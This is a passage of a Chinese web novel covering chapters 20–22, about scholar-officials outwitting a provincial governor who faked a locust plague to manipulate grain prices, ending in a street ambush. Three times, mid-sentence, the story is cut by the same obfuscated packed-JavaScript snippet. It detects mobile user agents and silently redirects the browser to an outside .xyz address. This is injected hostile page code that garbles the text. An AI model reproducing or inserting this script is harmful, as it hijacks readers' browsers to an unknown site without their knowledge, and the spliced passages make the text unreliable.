她数着信号灯变换的节奏，忽然发现他凝血的指尖在微颤——投标厅里签字的气定神闲，原是以毕生力气支撑的戏码。 明桂枝想，她大概是在那一刻沦陷的。 这个平日里云淡风轻的人，用尽意志力与命运搏斗的一刻，脆弱与坚韧无尽的微妙叠加。 她赞赏他的意志，更佩服他眼光。 创业第三年，他们在申请一笔大额贷款。 她还记得，那天岑屿把新闻里的某段录下来，看了再看。 重复又重复。 凌晨三点的办公室，茶几上晾着一夜没动筷的叉烧饭，酱汁凝成琥珀色冰花。 “通知法务申请修改贷款用途……”他摘下眼镜擦拭，眼镜片反射着液晶屏的蓝蓝冷光：“改为……建设大数据运营系统，我们要有自己的大数据系统。” 所有人都反对。 明桂枝倚着碎纸机整理报表，听着刀片啃噬股东联名信的嘎吱声。 “不要紧，合伙人也好，投资人也罢，我逐个说服。” 岑屿摘下眼镜呵气，镜片映着反对意见书残页。 雪松味的须后水混着碎纸屑的墨腥，在中央空调风口酿出奇异味道。 她无端想起父亲明兴波书房的黑胡桃木夹万。 那里时不时就会塞进新的威胁信，总萦绕纸质发霉的气息。 明桂枝觉得讶异。 ——她怎么会把这两个风马牛不相及的人联想到一块儿？ …… 事实证明岑屿是对的。 两年后，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986900|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹿宝”被行业的龙头盛矅集团收购。 其他部门都被裁掉，只留下大数据运营部。 岑屿凭这项资本，以区区10%的股权跻身“盛矅”的董事会。 庆功宴那天，岑屿的伯尔鲁帝皮鞋踩着满地散落的部门铭牌。 一块块亚克力牌裂成蛛网。 恰似雨丝在落地窗上滑落的纹路。 蛋糕刀切开栗子奶油层时，投影仪循环播放被裁员的工卡照片。 明桂枝看向窗外，他们抱着纸箱穿过暴雨。 纸页在风里展成白幡。 这当中，有她最珍视的创业伙伴们。 岑屿只留下她一个。 他帮她争取到3%的“盛矅”股权。 “桂枝，只有你相信我能做到。” 他举杯：“敬留下来的人。” 镜片映着窗外的雷暴。 “噢，对了，” 岑屿笑着补充：“我其实挺讨厌‘鹿宝’这个名字，鹿是猛兽的猎物，不吉利。” 明桂枝沉默半晌。 一张口，喉咙有点哑。 她不合时宜地又想起她父亲。 明家大宅三层楼高的中空客厅里，一直挂着一幅大合照。 最开始，照片是明兴波与九个搭档。 都是同生共死的好兄弟。 后来，每隔一段时间，明兴波就在合照里撕掉一个。 恰有一次，她亲眼看见父亲站在巴洛克雕花梯上，将合影里的好兄弟像剥死皮般撕下。 泛黄胶痕蜷缩在水晶吊灯光晕里，犹如毒蛇蜕下的旧躯壳。 “怎么撕掉陈伯伯？” 她问。 ——那是明兴波最早的搭档，在最关键时候把自家房子抵押了，凑出80万给他渡过难关。 “哼，这个老陈，非要保留厂房，说那些工人跟了咱几十年，工厂关了就没活路了，他要养他们一世，好不好笑？” 明兴波的檀木雪茄剪绞着哈瓦那烟头，“做生意啊，他以为开善堂么？” “他在您最困难的时候帮过您。” “你知道他每年的董事袍金多少吗？明氏养他这么多年，早不欠他了。” 明兴波陷在犀牛皮沙发里，鳄鱼皮般的眼纹在吐烟时骤深两分。 烟圈穿过水晶吊灯的铁艺荆棘。 正正套中合照里某个被剪去的空洞。 “我是董事长，我要对所有股东负责的，早点踢老陈出董事会也好，省得哪天他‘搭沉船’。” 雪茄衣开裂处迸出火星。 像枪管里的火药残渣飘过残损的合影。 …… 雨脚收梢。 方靖踏碎檐下积水，施施然落座。 “你们啊，叫人好找。” 他接过老翁递来的粗瓷碗：“原是在这偷偷吃夜宵。” 明桂枝腕子一颤，汤匙磕在碗沿的豁口。 ——她沉浸在水晶吊灯与雪茄烟圈的心神，被生生拽回古意森森的雨巷。 方靖舀起馄饨吹热气，“昆玉，你那市舶司的印鉴……它虽是照着委任状描的，但我怕骗不过那几个老狐狸……” “仲安兄放心，” 明桂枝笑道：“有一样‘秘密武器’。” “哦？” “我把它与那伪信放一块儿，定教他们深信不疑。” …… 20.默契 济南，巡抚府衙。 乌云如一张鸦青色的湿绸，沉沉坠在鸱吻上。 正厅暗得发闷，雕花窗棂只透一丝天光。 巡抚徐霁民揉着案头白玉麒麟镇纸，鬃毛纹理被他刮出凄厉响动。 堂前芭蕉叶蜷成月牙弧度，凝了腥味水汽。 二堂角落，堆着的鱼鳞册泛潮，混出恼人的樟木霉味。 空气稠得能捻出盐粒。 “大人请细看这处——” 陈敬儒为他掌灯，指着密函道。 火苗舔着新冒的汗珠子，袖口丝绣燎得发亮。 “说是……只要吕宋的银船过了琉球，下月杭州的银价还要再贬四成……” 瑞禾丰大当家林茂源瘫坐在黄花梨八仙椅上，膈肢窝浸出深灰印子。 “难怪，难怪……” 林茂源脸色登时煞白。 他藏蓝绸子沾汗泛碱，蒙了层盐霜：“我说哪来的冤种，在瑞禾丰各分号都定了大米，签契比割麦子还痛快……” 一声长号，嗓门惊飞了檐角避雨的乌鸦，“全都是一百文一斗啊！” 他弟弟林茂海霎时脚软：“他们在各分号都定了大米？” “加上你签的德州分号，拢共一百三十万石。” 林茂源后襟被冷汗晕出半幅深色地图。 陈敬儒问他：“什么时候的事情？” “四、五日前。” “那不正是和我们签约那天？” 陈敬儒一惊：“他们是会分身不成？” “各分号掌柜的鸽书上说的并非同一人，临清分号说是个穿金丝裘的豪商，济宁那边报的却是戴翡翠玉扳指的武官——总归是打扮富贵、出手阔绰的主儿，偏偏都有各地县衙盖印作保……” 徐霁民将那密信平摊在书案，与杭州市舶司一封旧信并排放。 他举着烛火往两封信的印鉴上照。 看了又看。 凛凛不发一言。 “唉！”林茂源长叹一口气：“怪我，全怪心急！如此看来，这帮人与那姓明的一定是一伙的。” 雨腥气忽然黏腻。 穿堂风卷起黄册纸页哗啦啦响。 徐霁民指节握出青白，咽了好几下唾沫才挤出话：“慌什么！” 烛火被风吹得跳了跳，将他乌纱帽檐投成乱颤的蝶翅。 官袍云纹叫冷汗洇出暗斑。 “这市舶司的印虽则看着不假，但要仿冒也非绝无可能……各州衙门哪年不逮几个仿官印的？” 话刚落地，天井骤然卷进腥风。 将信掀走，露出底下的一本札记。 鱼鳔胶裱糊封皮，泛黄的书页。 徐霁民翻了翻，只见里面密密麻麻记了许多价目。 什么大米六十文一斗、豆蔻十文一钱、玉竹八十二文一两…… 让人难以忽视的，是每隔几页都用朱色圈起胡椒的价格。 “哪来的破本子？” 他撇嘴问。 陈敬儒擦着额角冷汗：“回大人，是方卯亲侄子的账簿，明桂枝把它与密信放一块儿，下官想它必定是要紧的，便一同偷、啊不，一同拿来……” 说着，他附到徐霁民身旁，悄声道:“下官今早在驿站收到鸽书，说他们这两天都着急忙慌地四处找这两样，” 又挤眉弄眼：“客栈盯梢的说，姓明的气得猛摔碗碟呢！” 徐霁民恍若未闻，指尖死死掐着札记末页“方靖”两字的篆书朱印。 “方卯……方卯侄子……胡椒……” 窗外忽地劈下闪电，照得他脸惨白，颧骨亮得似尖锥。 ——“轰隆！” 惊雷劈断他尾音。 徐霁民霍然惊醒，一把扯过陈敬儒的衣领：“这是方卯侄子的？” “是、是，正式枢、枢密副使方、方卯大人的侄子……” 陈敬儒看他一时惊、一时惧，不禁话也说不利索。 雨点子砸在二堂阶前石板上，打得芭蕉叶直低头。 “坏了，坏了！” 徐霁民后槽牙咬出的颤音混进雷声。 前日他接到的郭岘的密函，说是方卯不经意提及沿海胡椒、豆蔻等香料接连涨价。 郭岘于是特意传信，命他留意邻省米价，以免误事。 ——“哗！哗！” 暴雨骤如天河倾倒。 黄铜锁子甲似的雨帘封了二堂门洞。 徐霁民大口大口喘着气，官袍领口的云虎似要扑出来。 闪电撕开瓦片缝，又一声惊雷响起。 他竟吓得一下子踉跄绊倒，膝盖“砰”一声磕在青砖缝里。 “完了，这次完了……” 雷光再闪过，徐霁民的高颧骨像糊了层蜡，叫人想起暴晒后的鱼鳔胶——黏腻、僵硬，透出死白。 …… 德州，悠云客栈天字壹号房。 雨珠儿正滴得紧，滴答声恼人。 明桂枝一扬手，碗便撞在松木门框上，脆生生炸开三两点。 哥窑瓷盏在方靖脚边炸成碎星。 接连脆响，惊得檐下画眉扑一下飞走。 “哎哟，祖宗！”方靖倒退半步，不慎踩住半块翡翠饺：“您消消气......” 还未说完，鎏金酒壶飞来。 掷在离他半寸不到的檀木雕花门。 琥珀色酒液泼上茜纱窗，恰映出窗外一个仓惶缩颈的黑影。 “消气？”明桂枝一脚踏上翻倒的圆凳，眸火烧得灼人：“一封密函和一本札记，怎可能翻转整个德州都找不着！” 赵斐倚着博古架，指腹摩挲青花梅瓶。 窗纱叫雨天湿气润得半透。 隐约见那假扮堂倌的瘦高影子贴在廊柱后，皂靴头还沾着新泥。 “明昆玉，”他心知那盯梢的听着呢，嗓门份外敞亮：“东西丢了便丢了，何苦糟践这上好的鹅掌？” “要是落在陈敬儒那伙人手里……”明桂枝一下掀了酸枝木托盘，八宝鸭子骨碌碌滚到门边。 酱汁在砖上拖出条赤蛇。 “他们要是毁约怎办！” “毁约你也不亏，一千两赔双倍，” 赵斐悠悠然道：“十三份契约，光是瑞禾丰就要赔你两万六千两。” 雨天黯淡的光从窗棂斜进来，映得他眉峰浅浅一层亮色。 他见明桂枝鬓角还沾着滴糟鹅掌的芡汁，唇角不禁漾起涟漪。 像春溪里落了瓣桃花。 “知足吧。” 赵斐本想佯装嗤笑，不虞真笑了起来。 “我为何要知足！” 明桂枝却十分入戏，抄起龙泉窑梅子青茶瓯往地上一掼，怒吼道：“本该有十倍、百倍！” “两位祖宗！”方靖跺脚，一脸着急，偏偏声音响亮：“咱小点声行不！这是能见人的事儿？” 雨脚倏地密了。 明桂枝唯恐那盯梢的听不真切，踱了几步，来到赵斐身侧。 “允书兄，赶紧召集所有人马。” “哦？” “把我们手头上所有银票都换成铜钱，咱们找百姓换粮去！一百文钱一两，我不信没有人肯换！” 说罢，明桂枝朝赵斐使了一个眼色。 廊下竹帘筛进的碎光里，“他”左眉梢轻轻一吊。 那神情活似瞧见狸猫扑空了自己尾巴。 这眉眼甚好看，赵斐一时看怔了。 方靖抢过他的“戏”：“这般高价，百姓岂不更忧心蝗灾？” “有道理……” 明桂枝一手捶到窗沿上，仿佛无计可施：“允书兄，如何是好？” 赵斐刹那回神：“干脆……告知百姓假蝗灾的真相。” 他为方才莫名的心悸感到茫然，只觉得耳尖热得似要烫伤。 只能木木地复述台词：“假如山东百姓知道这不过是假蝗灾，我们甚至… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005827|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …可以用六十文一斗的价格收购。” 像背诵一般。 “允书兄好算计！” 明桂枝的清脆的声线，落在赵斐耳里，仿佛浸着雨意，凉津津的。 “事不宜迟，今晚就换铜钱去！” “可是……” 方靖佯劝。 “没有可是！” 明桂枝森森道：“仲安兄忘了？——先下手为强，后下手遭殃。不想遭殃的话，就把你官船上你的人马召集齐！” 廊下积雨映着天光。 他们三人快出到门口，明桂枝忽顿住脚。 软翠袍角扫过门槛，惊起几点水星子。 那“堂倌”正用抹布蘸着铜壶嘴儿擦柜台，见“他”折返，抹布便绞成了麻花。 明桂枝一言不发盯着他看。 赵家的随扈瞬间围上来。 阴阴的风刮过，“堂倌”额角不住渗冷汗，后槽牙咬得腮帮子直抖。 “我见过你，” 明桂枝一双杏眼里凝着寒潭水色：“在县衙里。” 赵斐抬手示意：“把他押到柴房里——” 看到明桂枝回眸，他也学“他”吊了吊眉梢：“往死里打。” 廊檐水帘忽断，漏下一缕亮白的天光。 明桂枝看赵斐学自己做表情，眼尾倏地挑起一线弧度。 这笑意还未到“他”唇边，赵斐唇角已微微翘起。 天光恰射在四水归堂的天井池里，光线在他俩眉目间折了个弯。 ——“咚！” 闷响传来。 原是方靖踢到铜盆。 两人同时错开眼——却把笑意留在雨打湿的水洼倒影里。 …… 馄饨店灶火映着土砖墙。 明桂枝的汤匙搅开汤面浮油。 方靖忽地将粗瓷碗往榆木桌上一顿。 “昆玉，我还是想不通，” 他脸上油光混着雨气，“为何非要把我的札记与那‘密函’放一起？” 明桂枝头也不抬，只顾对着馄顿吹起：“因为它是真的。” “我还是不懂。” 方靖指节叩着桌沿，槿紫色直裰皱出几道沟壑。 赵斐眸子映着灶眼火苗：“最完美的谎言，定是要真假混杂的。” 方靖依旧惑然。 明桂枝搁下汤匙，耐心解释：“假如只有那密函，他们总不能山长路远去杭州市舶司找人对质吧？于是大概会心怀侥幸，猜测这是仿冒的……” 赵斐笑着接口道：“但看，当他们看到到你的札记，上面价目详尽。更况且，去找山东各县问价，总比去找杭州市舶司方便……” “对，” 明桂枝杏眼弯成新月，对赵斐点头：“他们不问尤自可，一问，定必吓个半死，这上面每一则价目都是真的！” ——“噢！” 方靖这才恍然：“然后，他们定必以为那密函也是真的！” “就是这么个理，所谓：‘真作假时假亦真’，”明桂枝舀起个绉纱馄饨往酱碟里按：“好比这肉馅儿，裹层薄皮才勾人馋。” 灶眼爆了粒火星。 方靖眯着眼看了明桂枝一会儿，又看向赵斐。 他伸筷夹走赵斐碗里半个馄饨，咧嘴笑道：“话说，你们何时变得这般有默契了？” 明桂枝汤匙在醋碟里打了个旋。 清汤漾出圈涟漪。 “我俩共过生死，当然有默契。” 说罢朝赵斐眨了眨眼。 赵斐停下手里转着的永泰通宝。 他不紧不慢，把那枚铜钱印在耳尖。 烫得似要滴血的热感，触及铜钱凉意。 堪堪消解半瞬，又热了起来。 “嗯，生死之交。” 他哑声附和。 明桂枝咬破馄饨皮时，街上梆子正敲三更。 方靖又问：“我又不懂了，你为何戳穿那盯梢的？” …… 21.破局 细雨愈发绵密。 沾湿了明桂枝软翠色袍袖。 银线绣的玉兰枝蔓在灶火旁粼粼发亮。 “因为，太差劲的奸角，会惹人怀疑。” 杏眼弯成柳叶桥。 赵斐手里的粗瓷匙顿了顿。 匙里头的醋珠子在汤里泛开涟漪。 他该看夜雨，看烛火。 看石砖上被雨打湿的青苔。 看砂吊子里小馄饨翻滚。 兴许，再看一边誊录的铜钱账目。 偏生那抹浅笑晃得人眼晕。 他不能不看。 …… 方靖皱着眉：“咱们成奸角了？” 明桂枝转着赵斐那枚永泰通宝。 铜钱在烛火里忽明忽暗。 “逼陈敬儒按官印的是谁？逛青楼的是谁？骂别人死胖子、在客栈摔碗摔碟、酒楼里吃饭挂县衙的账……”明桂枝掰着指头数，“哦，最最要紧的，这伙人还想诓他们一大笔银子呢！” “仲安兄，你告诉我，”杏眼里汪着笑：“哪家正人君子这般德行呀？” 方靖撇着嘴，一脸委屈：“做好事怎的做成奸角了……” 柴火烧到最旺，闪了颗火花。 映着赵斐忍俊不禁的唇角。 “指不定，”他笑着将铜钱摞成宝塔：“街坊说书摊子上，咱们该是披着官袍的城狐社鼠。” 黄昏烛光在他眉角铺开薄雾。 “那我们算是赢了，还是输了？” 明桂枝问。 这问话呼应他们那天的讨论。 是以，赵斐刹那间失神。 ——“你以别人作绳墨，如何能丈量自己的输赢？” 那天，“他”是这么说的。 什么是输，什么是赢呢？ 他策论从未赢过明桂枝，但为了赢“他”，博览群书，笔耕不辍，总归对得起自己“文笔斐然”的名字。 临《十七帖》总输“他”半分行气，但日夜临摹，终是练得腕底生风，写得出铁画银钩。 羊毫尖总描不出“他”随意铺墨的洒脱，但学得“他”七八成写意，每每心中苦闷，亦尚且有寄情的消遣。 射柳时节，箭头劈不开她的红心穗，反教臂力能提得动太府寺的百斤铜枷锁。 他拆不透明桂枝布下的棋局，倒是把《九章算术》啃透七八分，练出一炷香验清钱粮簿的本事。 …… 如此算来，怎都不算“输”。 馄饨汤凝了油花。 赵斐的笑倒像是新烹的雨前茶。 “我自有准绳丈量星辰，何须他人做规矩。” 他道。 檐角风铎叮当应和，惊得灶膛灰烬里窜出火星。 明桂枝笑意深深，杏眸燃出亮晶晶的火苗子。 “恭贺允书兄，自己立的规矩才最经得起量——可是这么个理？” 两人的笑声撞碎在铜钱堆叠的阴影里。 可赵斐笑着笑着，忽地僵住嘴角。 ——他学有所得，所以不算输。 但明桂枝呢？ “他”得了失魂症，腕骨被错了筋。 再也临不了帖，拉不开弓。 经书典籍忘得七七八八，只有记住些不着调的话本志怪。 算术慢他半拍。 棋艺更是全然忘光。 赵斐恍惚间，感觉心里有个巨大的无底的漩涡。 不断吞噬所有的一切。 案边的锡茶壶“咕嘟”冒出水汽。 熏得他眼尾发烫。 …… 德州，县衙二堂。 风声撩过，青铜铃铛滴溜溜转出半圈残音。 徐霁民白蜡似的面皮罩着高耸的颧骨，显得表情莫名阴森。 外头天阴得瓷实，青砖地的苔衣绿得发乌。 衙差蜷跪在地，额角突突地抽搐着渗血。 方才他翻墙时蹭破的手肘还流血珠子，身上半块好肉都没有。 堂倌样式的粗麻衣，如今染满血污。 红一块，紫一块，褐色一块。 好不吓人。 惊堂木砸在油水浸透的书案上。 震得陈敬儒耳坠子晃完再晃。 徐霁民后槽牙快要咬出青筋，眼窝里那两点寒光却似蟋蟀盆里斗败的将军虫：“姓明的真这么说？他们要揭发假蝗灾？” 风卷进门槛，正吹在衙差糊血的膝盖窝。 这高瘦汉子抖索着叩头，血污领口印得满地：“禀、禀大人，小的岂敢有半句不实！” 陈敬儒颤巍巍上前，扶起那衙差：“徐大人，这是我衙里最得力的一个，所以才能从姓明的那人手里逃出，如此忠义之人，何敢有所欺瞒？” 徐霁民看他一身伤不似作假，指节上的翡翠扳指磕着案沿直颤。 ——“哐当！” 青釉葵口茶盅在半空划出冷弧，碎在地砖上。 脆响惊得众人一抖再抖。 “这届科举选的什么人渣败类！” 徐霁民两腮凹陷处涨起猪肝色。 细密雨丝斜射进窗棂，正巧掠过他高耸的颧骨。 照得他皮下青筋似枯枝破雪。 “利欲熏心之辈，心狠手辣至极！济世经邦半点不做，满脑子阴毒，只会算计着踩老子的官帽往上扑腾！” 谩骂不绝于口。 陈敬儒的官帽溅了茶沫，乌纱湿漉漉贴在上头。 活像落水挣扎的雏鸟。 碎瓷片碾在皂靴底发出令人牙酸的呻吟。 却噤声不敢言。 “好个状元郎，要拆我的庙门是吧？” 徐霁民猛力一拍书案：“本官也仔细看看，他贴的什么门神！如此胆大包天！” 徐霁民甲盖在手心上握出血痕，连名带姓唤道：“陈敬儒！” 三个字咬得铜壶滴漏都要结霜。 “下、下官在！” 陈敬儒八字眉拧成风干虾米，连忙跪下应答。 “半个时辰，我限你半个时辰！” 徐霁民官服的领口云虎纹绞着血腥气，“竹节虫与蝗蝻分装十二只桐木匣，要活的。” 案头白瓷笔洗里映出他扭曲的笑，像是在腌渍毒蜈蚣。 “午时一刻，擂鼓三巡，领百姓聚到县衙前的空地来！” ——“徐大人！” 林茂源霍地一声站起来：“您是要先发制人？” “对，” 徐霁民冷哼一声：“那小子虽则败类至极，但一句话倒说得真——先下手为强，后下手遭殃！” 陈敬儒乌纱上的双翅还在打颤，就听见身旁“砰砰”的磕头声。 ——“大人三思、大、大人三思！” 林茂源的喊声里带着哭腔。 他十指扒着地砖缝叩头，翡翠扳指在砖面刮出青灰痕。 额上油汗混着梁尘落下来，把块团花纹的石板渍成发霉的云片糕。 徐霁民猛地一踹他。 “糊涂！钱重要还是命重要？” 林茂源满是汗渍的灰绸缎抖个不停，像极条上了砧板的银刀鱼。 “大人啊，这若是把竹节虫往县衙前一摆......” 他一抬头，眼泪鼻涕糊成一块儿：“我造假蝗灾，哄抬物价，诓骗百姓，不也是死罪……” 话尾叫徐霁民袍角掀起的阴风截断：“谁知道是你谎造的蝗灾？” 林茂源愣愣抬头。 徐霁民眼角抽搐两下，冷森森笑道：“德州县衙明察暗访，寻得假蝗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012358|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灾真相；我堂堂巡抚坐镇，为百姓揭示真假；你这山东首善，按八十八文购回大米，就当拿钱买命吧。” 他笑声愈发高扬。 惊得老槐树梢头的伯劳鸟扑一下飞走。 喝剩的半盏茶汤，恰好映着他眼底蛛网似的红丝。 他看向陈敬儒：“如此一来，指不定你我还能借此高升呢！” 又对林茂源笑道：“林大当家，到时本官必定忘不了你！” 片刻，笑意戛然收住时，徐霁民喉咙里滚出个浑浊的痰音：“哼，状元？我呸。” 他翻着手中方靖那本札记。 里头茶渍污了的“胡椒八十二文”的墨痕。 徐霁民把札记扔给陈敬儒。 ——“陈大人，你得多谢这班文曲星，给你递来现成的刀！” 陈敬儒应声一哆嗦，官帽双翅扫落半只蛛网。 …… 德州，东城大街。 柳絮裹着日头往下飘。 方靖抹一把额头细汗，墨灰缎面浸出深色云纹。 他拎着半串铜钱挤过糖糕摊时，正见几个老妪蹲在米铺石阶晒新麦。 明桂枝两指拨弄着荷包上流苏，宝蓝圆领袍蹭过陈米箩筐。 日头斜穿草棚，她铜串往案板一撒，叮铃啷当砸出个旋涡：“劳驾换三斗糙米，一百文钱一斗。” 卖米的瘸老汉眼皮不抬，竹筒烟枪往鞋底磕：“官爷留着铜板打酒罢，这年头米贱虫贵。” 檐角垂着的蒜辫子叫风一掠，掉下一头紫皮独头蒜。 明桂枝笑着摇了摇头。 似放下一身重担，跳着踱步到约定的榕树下。 赵斐折了截柳枝蘸青石缸里的水，竹青袖口浸开深色牡丹纹。 枝尖儿在水面勾出半枚玉璧似的日头。 他瞧见明桂枝高兴得像兔子一样蹦过来，笑问道：“没有收获？” “没有收获。” 明桂枝指腹碾着枚永泰通宝的豁口，忽地笑起来：“这山东巡抚比我想的果断呢！” 柳叶碎金似的日影正筛在她鼻尖，倒像贴了片金箔。 方靖大步流星折回来时，墨灰衣袖沾着芝麻酱香，左手攥着块枣泥烧饼直冒热气。 日头正好晒得他国字脸泛油光，两撇胡子活像沾了露水的墨虾须。 “东三巷杂货店连红箩炭都不换，西市口茶亭的老板娘看见铜钱直翻白眼！” 他攥着张宣纸走来。 原是沿街派发告示，青麻纸上的墨渍未干。 “竹节虫”三字被墨洇出獠牙般的分岔。 “喏，告示都出了。” 方靖把那告示递给他们看。 上面图文并茂，教人怎么区分蝗蝻和竹节虫。 “允书你看，” 明桂枝两指捻开张告示残页，“瑞禾丰米号八十八文回购大米，数量不限——让他们做了一会大善人了。” 赵斐没有接话。 深幽黑眸闪过复杂的光芒，冷冷盯着那张告示。 “不开心?” 明桂枝清澈的双眸眨了眨，笑着劝他：“算了，就让他们得个好名声吧，最重要是米价赶在春耕前回落。” “不，不对！” “怎么了？” “方靖的札记还在他们手里！” “这有啥？”明桂枝拽着腰佩流苏穗儿打旋，铜钱撞在羊脂玉佩上叮铃响半声：“我们不是南下么，正好再记一次新的价目。” 赵斐一把扯过明桂枝的手，往码头方向跑。 指节攥得“他”腕骨泛白。 汗珠子顺着赵斐眉棱往下淌，落在衣领金线绣的回字纹上。 他不忘回头唤方靖：“快，上官船去！” …… 22.连累他 申时。 阳光斜照东市酒旗。 “哔——哔！” 赵斐的银哨子迸出尖啸。 明桂枝顿觉耳膜发颤。 宝蓝绸袍下摆被疾风掀起，露出半截鹿皮靴。 她手腕被攥得隐隐作痛。 “撤到船上去！” 赵斐的喝令劈开鼎沸人声。 十二名玄衣的带刀侍卫自四周楼榭的檐角翻落。 刀背在暮色里划出冷弧。 明桂枝瞥见这批侍卫的肩处都绣着“赵”字篆书。 她只在飞羽的服饰上见过。 想来，这兴许是赵家死士的记号。 日暮切过柳梢。 码头附近，空地上浮着层淡青的草腥气。 明桂枝后颈汗津津，绸袍贴着脊梁，好似裹着层湿苔藓。 赵斐还攥着她腕子。 竹青缎袖口蹭着汗，晕染出团墨青的云。 方靖不住抹汗，把墨灰直裰蹭出盐渍。 侍卫们的刀泛着冷光，紧紧围护着他们三人。 远处渐响起踢踢踏踏的脚步声，像是春雨打在油布伞上。 人群从四周的巷口漫过来。 补丁摞补丁的衣裳，在暮色里泛着灰蓝。 明桂枝瞧见人群后头晃着顶破草帽，帽檐压得低，倒露出半截刀疤，蚯蚓似的爬在颈子上。 她颤了颤手。 赵斐攥她的力度突然紧上三分，箍得她丝丝抽痛。 方靖额角不住渗出细密汗珠。 “他们是……” “徐霁民他们必定把我们的‘计划’告知百姓……甚至，把假蝗灾赖到我们身上”赵斐眸光骤寒。 “糟糕！” “不止，你的札记详实具体，正好成了咱们伪造蝗灾的‘供状’。” 人群又近了三步。 有个驼背老汉的草鞋豁了口，露出满是泥污的脚趾，在夯土地上一蹭一蹭的。 “允书，他们都是贫民……” 方靖声线柔了几分，“提醒你的侍卫别动刀。” 赵斐眸色愈发森冷，似有暗流涌动。 “最怕，不止是贫民。” 暮色里突然炸开声老鸭嗓：“就是他们！杀千刀的罪魁祸首！” 话音未落，黄澄澄的物事打着旋儿飞来，正正砸在明桂枝的羊脂白玉冠上。 蛋壳裂开的脆响格外清晰。 半凝固的蛋清顺着白玉冠往下淌。 明桂枝睫毛颤了颤，两滴蛋黄挂在眉梢，映着晚照如金箔花黄。 她下意识要抬袖拭脸，抬手之际却僵住了。 隔着半透明的蛋清，她望见东南角柳树底下窜出个精瘦汉子，衣服的补丁新簇簇。 她看见那汉子从怀中抽出砍刀。 刀光劈开暮色，正要落在赵斐肩头。 明桂枝推人的力道太狠。 竹青缎子从她掌心滑脱，赵斐踉跄撞歪了货郎的糖人担子。 精瘦汉子腕子一抖，刀刃转出朵银花，直削向她宝蓝圆领袍的前襟。 “刺啦——” 裂帛声惊飞梢上茶鸲。 半幅衣袖飘落在沿街摊档的笸箩里。 明桂枝后腰抵着茶摊条凳，瞥见自己露出的半截小臂。 刀痕处血珠不住冒出。 她忙将残袖往腕上一缠，杏眼瞪得滚圆：“你可知刺杀朝廷命官是死罪！” 那汉子第二刀已到眼前。 刀刃映出她眉梢的蛋黄，忽地凝在半空——明桂枝从怀里攥着一叠银票。 “十倍！无论他们给你多少，我出十倍！” 银票厚厚一叠，在暮色里簌簌颤动。 最上头那张，“通和钱庄”的朱印被她手上的血染得斑驳。 汉子喉结滚了滚，刀尖垂下三寸。 “够你娶四、五房媳妇，” 明桂枝指尖又往前送半寸，银票角扫到汉子刀柄缠着的褪色红布。 “他们想必没告诉你我是官身，你求财而已，何苦犯上死罪……” 话只说得一半，明桂枝忽被撞开。 刹那间只觉得天旋地转。 石板地的凉意穿透绸袍。 她惊觉自己被赵斐撞得飞退了一尺多。 缠着残袖的手臂擦过碎石。 血珠拖出断续的红线。 眼前的事物，如后世的慢镜头一一闪过。 茶摊倾倒的铜壶淌着褐汤，蜿蜒成琥珀色的河。 染血的银票，散作漫天朱砂雪。 糖人担子里，金丝般的糖浆裹着尘埃。 凝在半空，如融化的星子。 镜头定格。 她望见赵斐额角飞溅的血珠悬在半空。 …… 京城，寿王府。 戌末时分雨气浓。 铃铎响了又响，惊起榆钱叶底的夜露。 盛湛猛然坐起。 墨灰绸衣已叫冷汗绘成鸦青色。 半幅纱帐垂在榻前，被穿堂风撩着，阴煞煞似谁悬了白绫。 老宦官常恩趿着软底鞋进来，掌中烛火映得白发泛黄。 “殿下可是魇着了？” 常恩伸手要撩帐子，忽见盛湛攥着瓷枕的指节发白，枕面裂了道细纹。 盛湛直勾勾盯着窗外夜雨。 腥甜的雾气仿佛从梦中扩展到现实。 梦里，光影极度迷离。 照见明桂枝浸在血泊里，像卧在连片的西府海棠上。 可那红又太潮湿了，泼辣辣地直往砖缝里钻。 宝蓝圆领袍浸得发黑，袍袖裂帛处露着半截小臂——白得像是摔碎的定窑瓷，偏生缠着染红的残袖。 血珠子顺着她眉骨往耳后爬，像条红蚯蚓一直爬到地上。 哪怕醒过来，梦里的痛感似乎还未消散。 ——心口仿佛缠着根生锈的绣花针，针鼻上穿着陈年的冰蚕丝，一抽一抽地往他皮肉里绞。 盛湛想蹲下去扶，却见她带血的唇不断翕动，似乎想说些什么。 他伏到她的唇边，听到她气若游丝的声线。 ——“我带你走……” ——“去西北，我们不要再回来……” ——“大不了隐姓埋名，他们这辈子都找不到我们的……” …… “殿下，殿下？” 常恩唤得着急。 盛湛望着帐顶团蝠纹，喉结滚了滚：“无妨，梦见个故人罢了……” 话尾叫雨声掐了。 窗外雨漏子接不住急雨，哗啦倾下半斛银珠子。 常恩掏出帕子为他拭汗：“可是永昌侯世子？” 